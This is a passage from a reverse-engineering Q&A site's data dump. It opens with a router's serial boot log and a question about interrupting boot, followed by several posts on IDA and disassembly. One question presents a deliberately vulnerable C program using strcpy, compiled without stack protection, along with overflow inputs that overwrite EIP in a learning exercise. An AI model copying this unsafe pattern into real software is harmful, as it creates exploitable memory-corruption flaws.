at^tmode=3&#xA;[CM]:send reboot msg to ODU.&#xA;modem have no response.&#xA;usb 2-1: USB disconnect, device number 2&#xA;usb 2-1: [DBG HUB]Lock device done, device number 2&#xA;usb 2-1: [DBG HUB]mutex_lock hcd-&amp;gt;bandwidth_mutex done, device number 2&#xA;usb 2-1: [DBG MESSAGE]set all interface unregister 2&#xA;usb 2-1: [DBG MESSAGE]remove interface 0&#xA;usb 2-1: [DBG MESSAGE]device delete interface 0&#xA;eth_data: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device&#xA;usb 2-1: [DBG MESSAGE]remove interface 1&#xA;usb 2-1: [DBG MESSAGE]device delete interface 1&#xA;eth_voip: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device&#xA;usb 2-1: [DBG MESSAGE]remove interface 2&#xA;usb 2-1: [DBG MESSAGE]device delete interface 2&#xA;eth_tr069: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device&#xA;usb 2-1: [DBG MESSAGE]remove interface 3&#xA;usb 2-1: [DBG MESSAGE]device delete interface 3&#xA;usbcomm0: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device&#xA;fxz-hw_stop: called&#xA;usb 2-1: [DBG MESSAGE]remove interface 4&#xA;usb 2-1: [DBG MESSAGE]device delete interface 4&#xA;option1 ttyUSB0: GSM modem (1-port) converter now disconnected from ttyUSB0&#xA;option 2-1:1.4: device disconnected&#xA;&#xA;&#xA;OK&#xA;&#xA;&#xA;usb 2-1: [DBG MESSAGE]remove interface 5&#xA;usb 2-1: [DBG MESSAGE]device delete interface 5&#xA;option1 ttyUSB1: GSM modem (1-port) converter now disconnected from ttyUSB1&#xA;option 2-1:1.5: device disconnected&#xA;usb 2-1: [DBG MESSAGE]remove interface 6&#xA;usb 2-1: [DBG MESSAGE]device delete interface 6&#xA;option1 ttyUSB2: GSM modem (1-port) converter now disconnected from ttyUSB2&#xA;option 2-1:1.6: device disconnected&#xA;usb 2-1: [DBG MESSAGE]remove interface 7&#xA;usb 2-1: [DBG MESSAGE]device delete interface 7&#xA;option1 ttyUSB3: GSM modem (1-port) converter now disconnected from ttyUSB3&#xA;option 2-1:1.7: device disconnected&#xA;usb 2-1: [DBG MESSAGE]remove all interface_ep_devs 2&#xA;usb 2-1: [DBG MESSAGE]set all interface NULL 2&#xA;usb 2-1: [DBG MESSAGE]set device state ADDRESS done 2&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;xhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint&#xA;usb 2-1: [DBG HUB]usb_disable_device done, device number 2&#xA;usb 2-1: [DBG HUB]mutex_unlock hcd-&amp;gt;bandwidth_mutex done, device number 2&#xA;usb 2-1: [DBG HUB]usb_remove_ep_devs done, device number 2&#xA;usb 2-1: [DBG HUB]usb_unlock_device done, device number 2&#xA;[ModemReboot]: usb net disconnect.&#xA;VAPP is shuting down&#xA;vapp_sip_manage.c 131: Stopping SIP&#xA;[ 3: 7:54.621340][LCM]:signal 15 exit.&#xA;[CM]:cm process is killed:15&#xA;[CM]:send reboot msg to ODU.&#xA;SHUTDOWN - _VAPP_mgmtEventWriteTask&#xA;[CM]:send reboot msg to ODU.&#xA;SHUTDOWN - sipUaHandlerTask. infc:0&#xA;Stopped WatchDog Timer.&#xA;Restarting system.&#xA;&#xA;&#xA;===================================================================&#xA;&#xA;            MT7621   stage1 code Mar 12 2015 14:43:30 (ASIC)&#xA;&#xA;            CPU=500000000 HZ BUS=166666666 HZ&#xA;&#xA;==================================================================&#xA;&#xA;Change MPLL source from XTAL to CR...&#xA;&#xA;do MEMPLL setting..&#xA;&#xA;MEMPLL Config : 0x11000000&#xA;&#xA;3PLL mode + External loopback&#xA;&#xA;=== XTAL-40Mhz === DDR-1200Mhz ===&#xA;&#xA;PLL2 FB_DL: 0x6, 1/0 = 584/440 19000000&#xA;&#xA;PLL3 FB_DL: 0xf, 1/0 = 577/447 3D000000&#xA;&#xA;PLL4 FB_DL: 0x14, 1/0 = 589/435 51000000&#xA;&#xA;do DDR setting..[01F40000]&#xA;&#xA;Apply DDR3 Setting...(use default AC)&#xA;&#xA;          0    8   16   24   32   40   48   56   64   72   80   88   96  104  112  120&#xA;&#xA;      --------------------------------------------------------------------------------&#xA;&#xA;0000:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0001:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0002:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0003:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0004:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0005:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0006:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0007:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0008:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0009:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;000A:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;000B:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;000C:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;000D:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    1&#xA;&#xA;000E:|    0    0    0    0    0    0    0    0    0    1    1    1    1    1    1    1&#xA;&#xA;000F:|    0    0    0    0    1    1    1    1    1    1    1    1    1    1    0    0&#xA;&#xA;0010:|    1    1    1    1    1    1    1    1    1    0    0    0    0    0    0    0&#xA;&#xA;0011:|    1    1    1    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0012:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0013:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0014:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0015:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0016:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0017:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0018:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;0019:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;001A:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;001B:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;001C:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;001D:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;001E:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;001F:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0&#xA;&#xA;DRAMC_DQSCTL1[0e0]=13000000&#xA;&#xA;DRAMC_DQSGCTL[124]=80000033&#xA;&#xA;rank 0 coarse = 15&#xA;&#xA;rank 0 fine = 72&#xA;&#xA;B:|    0    0    0    0    0    0    0    0    0    0    1    1    1    0    0    0&#xA;&#xA;opt_dle value:11&#xA;&#xA;DRAMC_DDR2CTL[07c]=C287223D&#xA;&#xA;DRAMC_PADCTL4[0e4]=000022B3&#xA;&#xA;DRAMC_DQIDLY1[210]=0C0B070B&#xA;&#xA;DRAMC_DQIDLY2[214]=07090909&#xA;&#xA;DRAMC_DQIDLY3[218]=0D0A0909&#xA;&#xA;DRAMC_DQIDLY4[21c]=0B080C0A&#xA;&#xA;DRAMC_R0DELDLY[018]=0000211F&#xA;&#xA;==================================================================&#xA;&#xA;        RX  DQS perbit delay software calibration &#xA;&#xA;==================================================================&#xA;&#xA;1.0-15 bit dq delay value&#xA;&#xA;==================================================================&#xA;&#xA;bit|     0  1  2  3  4  5  6  7  8  9&#xA;&#xA;--------------------------------------&#xA;&#xA;0 |    11 7 11 11 9 9 9 7 7 7 &#xA;&#xA;10 |    8 9 9 11 7 11 &#xA;&#xA;--------------------------------------&#xA;&#xA;&#xA;&#xA;&#xA;==================================================================&#xA;&#xA;2.dqs window&#xA;&#xA;x=pass dqs delay value (min~max)center &#xA;&#xA;y=0-7bit DQ of every group&#xA;&#xA;input delay:DQS0 =31 DQS1 = 33&#xA;&#xA;==================================================================&#xA;&#xA;bit DQS0     bit      DQS1&#xA;&#xA;0  (1~62)31  8  (1~62)31&#xA;&#xA;1  (1~62)31  9  (1~62)31&#xA;&#xA;2  (1~62)31  10  (1~62)31&#xA;&#xA;3  (1~59)30  11  (0~58)29&#xA;&#xA;4  (1~62)31  12  (1~63)32&#xA;&#xA;5  (1~62)31  13  (1~64)32&#xA;&#xA;6  (1~62)31  14  (0~65)32&#xA;&#xA;7  (1~62)31  15  (2~64)33&#xA;&#xA;==================================================================&#xA;&#xA;3.dq delay value last&#xA;&#xA;==================================================================&#xA;&#xA;bit|    0  1  2  3  4  5  6  7  8   9&#xA;&#xA;--------------------------------------&#xA;&#xA;0 |    11 7 11 12 9 9 9 7 9 9 &#xA;&#xA;10 |    10 13 10 12 8 11 &#xA;&#xA;==================================================================&#xA;&#xA;==================================================================&#xA;&#xA;     TX  perbyte calibration &#xA;&#xA;==================================================================&#xA;&#xA;DQS loop = 15, cmp_err_1 = ffff0000 &#xA;&#xA;dqs_perbyte_dly.last_dqsdly_pass[0]=15,  finish count=1 &#xA;&#xA;dqs_perbyte_dly.last_dqsdly_pass[1]=15,  finish count=2 &#xA;&#xA;DQ loop=15, cmp_err_1 = ffff0000&#xA;&#xA;dqs_perbyte_dly.last_dqdly_pass[0]=15,  finish count=1 &#xA;&#xA;dqs_perbyte_dly.last_dqdly_pass[1]=15,  finish count=2 &#xA;&#xA;byte:0, (DQS,DQ)=(8,8)&#xA;&#xA;byte:1, (DQS,DQ)=(8,8)&#xA;&#xA;DRAMC_DQODLY1[200]=88888888&#xA;&#xA;DRAMC_DQODLY2[204]=88888888&#xA;&#xA;20,data:88&#xA;&#xA;[EMI] DRAMC calibration passed&#xA;&#xA;&#xA;&#xA;&#xA;===================================================================&#xA;&#xA;            MT7621   stage1 code done &#xA;&#xA;            CPU=500000000 HZ BUS=166666666 HZ&#xA;&#xA;===================================================================&#xA;&#xA;&#xA;&#xA;U-Boot 1.1.3 (Oct 20 2016 - 14:48:59)&#xA;&#xA;&#xA;Board: Ralink APSoC DRAM:  128 MB&#xA;&#xA;relocate_code Pointer at: 87fb8000&#xA;&#xA;&#xA;Config XHCI 40M PLL &#xA;&#xA;******************************&#xA;&#xA;Software System Reset Occurred&#xA;&#xA;******************************&#xA;&#xA;flash manufacture id: c2, device id 20 19&#xA;&#xA;find flash: MX25L25635E&#xA;&#xA;*** Warning - bad CRC, using default environment&#xA;&#xA;&#xA;============================================ &#xA;&#xA;Ralink UBoot Version: 4.3.0.0&#xA;&#xA;-------------------------------------------- &#xA;&#xA;ASIC MT7621A DualCore (MAC to MT7530 Mode)&#xA;&#xA;DRAM_CONF_FROM: Auto-Detection &#xA;&#xA;DRAM_TYPE: DDR3 &#xA;&#xA;DRAM bus: 16 bit&#xA;&#xA;Xtal Mode=5 OCP Ratio=1/3&#xA;&#xA;Flash component: SPI Flash&#xA;&#xA;Date:Oct 20 2016  Time:14:48:59&#xA;&#xA;============================================ &#xA;&#xA;icache: sets:256, ways:4, linesz:32 ,total:32768&#xA;&#xA;dcache: sets:256, ways:4, linesz:32 ,total:32768 &#xA;&#xA;&#xA; ##### The CPU freq = 880 MHZ #### &#xA;&#xA; estimate memory size =128 Mbytes&#xA;&#xA;#Reset_MT7530&#xA;&#xA;&#xA;Please choose the operation: &#xA;&#xA;   1: Load system code to SDRAM via TFTP. &#xA;&#xA;   2: Load system code then write to Flash via TFTP. &#xA;&#xA;   3: Boot system code via Flash (default).&#xA;&#xA;   4: Entr boot command line interface.&#xA;&#xA;   7: Load Boot Loader code then write to Flash via Serial. &#xA;&#xA;   9: Load Boot Loader code then write to Flash via TFTP. &#xA;&#xA; 4  3  2  1  0 &#xA;&#xA;&#xA;&#xA;3: System Boot system code via Flash[1st image].&#xA;&#xA;## Booting image at bc050000 ...&#xA;&#xA;Skip checking image magic number&#xA;&#xA;   Image Name:   &#xA;&#xA;   Image Type:   MIPS Linux Kernel Image (lzma compressed)&#xA;&#xA;   Data Size:    9748152 Bytes =  9.3 MB&#xA;&#xA;   Load Address: 80001000&#xA;&#xA;   Entry Point:  8000d210&#xA;&#xA;   Verifying Checksum ... OK&#xA;&#xA;   Uncompressing Kernel Image ... OK&#xA;&#xA;No initrd&#xA;&#xA;## Transferring control to Linux (at address 8000d210) ...&#xA;&#xA;## Giving linux memsize in MB, 128&#xA;&#xA;&#xA;Starting kernel ...&#xA;&#xA;&#xA;&#xA;&#xA;LINUX started...&#xA;&#xA; THIS IS ASIC&#xA;Linux version 2.6.36 (root@pesi-xian) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 SMP PREEMPT Thu Dec 15 16:55:50 CST 2016&#xA;&#xA; The CPU feqenuce set to 880 MHz&#xA;GCMP present&#xA;CPU revision is: 0001992f (MIPS 1004Kc)&#xA;Software DMA cache coherency&#xA;Determined physical RAM map:&#xA; memory: 08000000 @ 00000000 (usable)&#xA;Initrd not found or empty - disabling initrd&#xA;Zone PFN ranges:&#xA;  Normal   0x00000000 -&amp;gt; 0x00008000&#xA;Movable zone start PFN for each node&#xA;early_node_map[1] active PFN ranges&#xA;    0: 0x00000000 -&amp;gt; 0x00008000&#xA;Detected 3 available secondary CPU(s)&#xA;PERCPU: Embedded 7 pages/cpu @81103000 s7424 r8192 d13056 u65536&#xA;pcpu-alloc: s7424 r8192 d13056 u65536 alloc=16*4096&#xA;pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 &#xA;Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 32512&#xA;Kernel command line: console=ttyS1,57600n8 root=/dev/ram0 console=ttyS1,57600 root=/dev/ram0 rootfstype=squashfs,jffs2 isolcpus=1&#xA;PID hash table entries: 512 (order: -1, 2048 bytes)&#xA;Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)&#xA;Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)&#xA;Primary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.&#xA;Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes&#xA;MIPS secondary cache 256kB, 8-way, linesize 32 bytes.&#xA;Writing ErrCtl register=00008001&#xA;Readback ErrCtl register=00008001&#xA;Memory: 115720k/131072k available (4558k kernel code, 15352k reserved, 1583k data, 7568k init, 0k highmem)&#xA;Hierarchical RCU implementation.&#xA;    Verbose stalled-CPUs detection is disabled.&#xA;NR_IRQS:128&#xA;Trying to install interrupt handler for IRQ24&#xA;Trying to install interrupt handler for IRQ25&#xA;Trying to install interrupt handler for IRQ22&#xA;Trying to install interrupt handler for IRQ9&#xA;Trying to install interrupt handler for IRQ10&#xA;Trying to install interrupt handler for IRQ11&#xA;Trying to install interrupt handler for IRQ12&#xA;Trying to install interrupt handler for IRQ13&#xA;Trying to install interrupt handler for IRQ14&#xA;Trying to install interrupt handler for IRQ16&#xA;Trying to install interrupt handler for IRQ17&#xA;Trying to install interrupt handler for IRQ18&#xA;Trying to install interrupt handler for IRQ19&#xA;Trying to install interrupt handler for IRQ20&#xA;Trying to install interrupt handler for IRQ21&#xA;Trying to install interrupt handler for IRQ23&#xA;Trying to install interrupt handler for IRQ26&#xA;Trying to install interrupt handler for IRQ27&#xA;Trying to install interrupt handler for IRQ28&#xA;Trying to install interrupt handler for IRQ15&#xA;Trying to install interrupt handler for IRQ8&#xA;Trying to install interrupt handler for IRQ29&#xA;Trying to install interrupt handler for IRQ30&#xA;Trying to install interrupt handler for IRQ31&#xA;console [ttyS1] enabled&#xA;Calibrating delay loop... 577.53 BogoMIPS (lpj=1155072)&#xA;pid_max: default: 32768 minimum: 301&#xA;Mount-cache hash table entries: 512&#xA;launch: starting cpu1&#xA;launch: cpu1 gone!&#xA;CPU revision is: 0001992f (MIPS 1004Kc)&#xA;Primary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.&#xA;Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes&#xA;MIPS secondary cache 256kB, 8-way, linesize 32 bytes.&#xA;launch: starting cpu2&#xA;launch: cpu2 gone!&#xA;CPU revision is: 0001992f (MIPS 1004Kc)&#xA;Primary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.&#xA;Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes&#xA;MIPS secondary cache 256kB, 8-way, linesize 32 bytes.&#xA;launch: starting cpu3&#xA;launch: cpu3 gone!&#xA;CPU revision is: 0001992f (MIPS 1004Kc)&#xA;Primary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.&#xA;Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes&#xA;MIPS secondary cache 256kB, 8-way, linesize 32 bytes.&#xA;Brought up 4 CPUs&#xA;Synchronize counters across 4 CPUs: done.&#xA;NET: Registered protocol family 16&#xA;release PCIe RST: RALINK_RSTCTRL = 7000000&#xA;PCIE PHY initialize&#xA;***** Xtal 40MHz *****&#xA;start MT7621 PCIe register access&#xA;RALINK_RSTCTRL = 7000000&#xA;RALINK_CLKCFG1 = 77ffeff8&#xA;&#xA;*************** MT7621 PCIe RC mode *************&#xA;PCIE0 no card, disable it(RST&amp;amp;CLK)&#xA;PCIE1 no card, disable it(RST&amp;amp;CLK)&#xA;PCIE2 no card, disable it(RST&amp;amp;CLK)&#xA;pcie_link status = 0x0&#xA;RALINK_RSTCTRL= 0&#xA;bio: create slab &amp;lt;bio-0&amp;gt; at 0&#xA;vgaarb: loaded&#xA;SCSI subsystem initialized&#xA;usbcore: registered new interface driver usbfs&#xA;usbcore: registered new interface driver hub&#xA;usbcore: registered new device driver usb&#xA;Switching to clocksource Ralink Systick timer&#xA;usbcore: registered new interface driver huawei_ether&#xA;NET: Registered protocol family 2&#xA;IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&#xA;TCP established hash table entries: 4096 (order: 3, 32768 bytes)&#xA;TCP bind hash table entries: 4096 (order: 3, 32768 bytes)&#xA;TCP: Hash tables configured (established 4096 bind 4096)&#xA;TCP reno registered&#xA;UDP hash table entries: 128 (order: 0, 4096 bytes)&#xA;UDP-Lite hash table entries: 128 (order: 0, 4096 bytes)&#xA;NET: Registered protocol family 1&#xA;cu: Got hangup signal&#xA;Connected.&#xA;Connected.&#xA;&#xA;Disconnected.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I stop boot at a certain point, by pointing a voltage or ground to the pins of the flash memory? Soldering the flash memory off the board is also an option but way too extreme for me to attempt this early on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="29424" LastEditorUserId="29424" LastEditDate="2019-08-28T21:35:09.567" LastActivityDate="2019-10-10T12:11:22.957" Title="router: how to break into boot?" Tags="|firmware|memory|hardware|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21994" PostTypeId="2" ParentId="21992" CreationDate="2019-08-28T17:40:12.297" Score="2" Body="&lt;p&gt;View - Open Subviews - &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/592.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cross References&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-28T17:40:12.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21995" PostTypeId="1" AcceptedAnswerId="22006" CreationDate="2019-08-28T19:05:00.153" Score="3" ViewCount="320" Body="&lt;p&gt;I am doing a simple buffer overflow exercise, here is the source:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//vuln.c&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main(int argc, char* argv[]) {&#xA;    char buf[256];&#xA;    strcpy(buf,argv[1]);&#xA;    printf(&quot;Input:%s\n&quot;,buf);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Complied with &lt;code&gt;gcc (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609&lt;/code&gt; on Ubuntu 16.04.6 (i686) like this (ASLR disabled):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -g -fno-stack-protector -z execstack -o vuln vuln.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The gdb disassembly:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dump of assembler code for function main:&#xA;   0x0804843b &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&#xA;   0x0804843f &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&#xA;   0x08048442 &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&#xA;   0x08048445 &amp;lt;+10&amp;gt;:    push   ebp&#xA;   0x08048446 &amp;lt;+11&amp;gt;:    mov    ebp,esp&#xA;   0x08048448 &amp;lt;+13&amp;gt;:    push   ecx&#xA;   0x08048449 &amp;lt;+14&amp;gt;:    sub    esp,0x104&#xA;   0x0804844f &amp;lt;+20&amp;gt;:    mov    eax,ecx&#xA;   0x08048451 &amp;lt;+22&amp;gt;:    mov    eax,DWORD PTR [eax+0x4]&#xA;   0x08048454 &amp;lt;+25&amp;gt;:    add    eax,0x4&#xA;   0x08048457 &amp;lt;+28&amp;gt;:    mov    eax,DWORD PTR [eax]&#xA;   0x08048459 &amp;lt;+30&amp;gt;:    sub    esp,0x8&#xA;   0x0804845c &amp;lt;+33&amp;gt;:    push   eax&#xA;   0x0804845d &amp;lt;+34&amp;gt;:    lea    eax,[ebp-0x108]&#xA;   0x08048463 &amp;lt;+40&amp;gt;:    push   eax&#xA;   0x08048464 &amp;lt;+41&amp;gt;:    call   0x8048310 &amp;lt;strcpy@plt&amp;gt;&#xA;   0x08048469 &amp;lt;+46&amp;gt;:    add    esp,0x10&#xA;   0x0804846c &amp;lt;+49&amp;gt;:    sub    esp,0x8&#xA;   0x0804846f &amp;lt;+52&amp;gt;:    lea    eax,[ebp-0x108]&#xA;   0x08048475 &amp;lt;+58&amp;gt;:    push   eax&#xA;   0x08048476 &amp;lt;+59&amp;gt;:    push   0x8048510&#xA;   0x0804847b &amp;lt;+64&amp;gt;:    call   0x8048300 &amp;lt;printf@plt&amp;gt;&#xA;   0x08048480 &amp;lt;+69&amp;gt;:    add    esp,0x10&#xA;   0x08048483 &amp;lt;+72&amp;gt;:    mov    eax,0x0&#xA;   0x08048488 &amp;lt;+77&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&#xA;   0x0804848b &amp;lt;+80&amp;gt;:    leave&#xA;   0x0804848c &amp;lt;+81&amp;gt;:    lea    esp,[ecx-0x4]&#xA;   0x0804848f &amp;lt;+84&amp;gt;:    ret&#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I am overwriting the EIP with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It gives me &lt;code&gt;EIP: 0x5a5a5a5a ('ZZZZ')&lt;/code&gt;, meaning that the offset for return address is 208. So how could that be when 256 byte buffer is allocated? How would main() stack layout look like? I thought it should be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|  argc&#xA;|  argv&#xA;|  Return address&#xA;|  Caller's EBP       &amp;lt;-- EBP&#xA;|  Alignment&#xA;|  Local variables    &amp;lt;-- buf ends here&#xA;|  ...&#xA;|  Local variables    &amp;lt;-- buf starts here&#xA;|  ...&#xA;|  ...&#xA;|  ...                &amp;lt;-- ESP&#xA;V&#xA;Lower addresses&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And also I quite confused why I cannot control EIP when the length of the argument string is bigger than 260. Here is what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result of running &lt;code&gt;gdb-peda$ r `python -c 'print &quot;A&quot;*260'`&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xox0w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xox0w.png&quot; alt=&quot;sct-1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result of running &lt;code&gt;gdb-peda$ r `python -c 'print &quot;A&quot;*261'`&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v7Gzx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v7Gzx.png&quot; alt=&quot;sct-2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the result of running &lt;code&gt;gdb-peda$ r `python -c 'print &quot;A&quot;*262'`&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dGipk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dGipk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is much appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29444" LastActivityDate="2019-08-30T09:50:40.257" Title="Why EIP is being overwritten before local buffer ends?" Tags="|disassembly|gdb|buffer-overflow|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21996" PostTypeId="1" AcceptedAnswerId="22144" CreationDate="2019-08-29T02:50:26.213" Score="4" ViewCount="2229" Body="&lt;p&gt;Is IDA the best disassembler for a raw Tricore TC1791 (or similar) binary? I see there are several others floating around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which programs are going to give us the most complete ASM from a raw binary? We can get mostly what we need, but if there are better tools I will give them a go.&lt;/p&gt;&#xA;" OwnerUserId="16675" LastEditorUserId="16675" LastEditDate="2019-09-17T05:29:56.833" LastActivityDate="2019-09-17T05:29:56.833" Title="Generating disassembly from raw Infineon Tricore 1971 binary" Tags="|ida|disassembly|assembly|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21997" PostTypeId="2" ParentId="21990" CreationDate="2019-08-29T09:19:25.053" Score="2" Body="&lt;p&gt;I found solution myself. Correct code follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.split_sreg_range(instruction_pointer, idaapi.str2reg(&quot;T&quot;), required_t_value, idaapi.SR_user)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;instruction_pointer&lt;/code&gt; is instruction address which mode you want to change, and &lt;code&gt;required_t_value&lt;/code&gt; is new mode (&lt;code&gt;1&lt;/code&gt; for Thumb, &lt;code&gt;0&lt;/code&gt; for ARM), and &lt;/p&gt;&#xA;" OwnerUserId="18321" LastActivityDate="2019-08-29T09:19:25.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
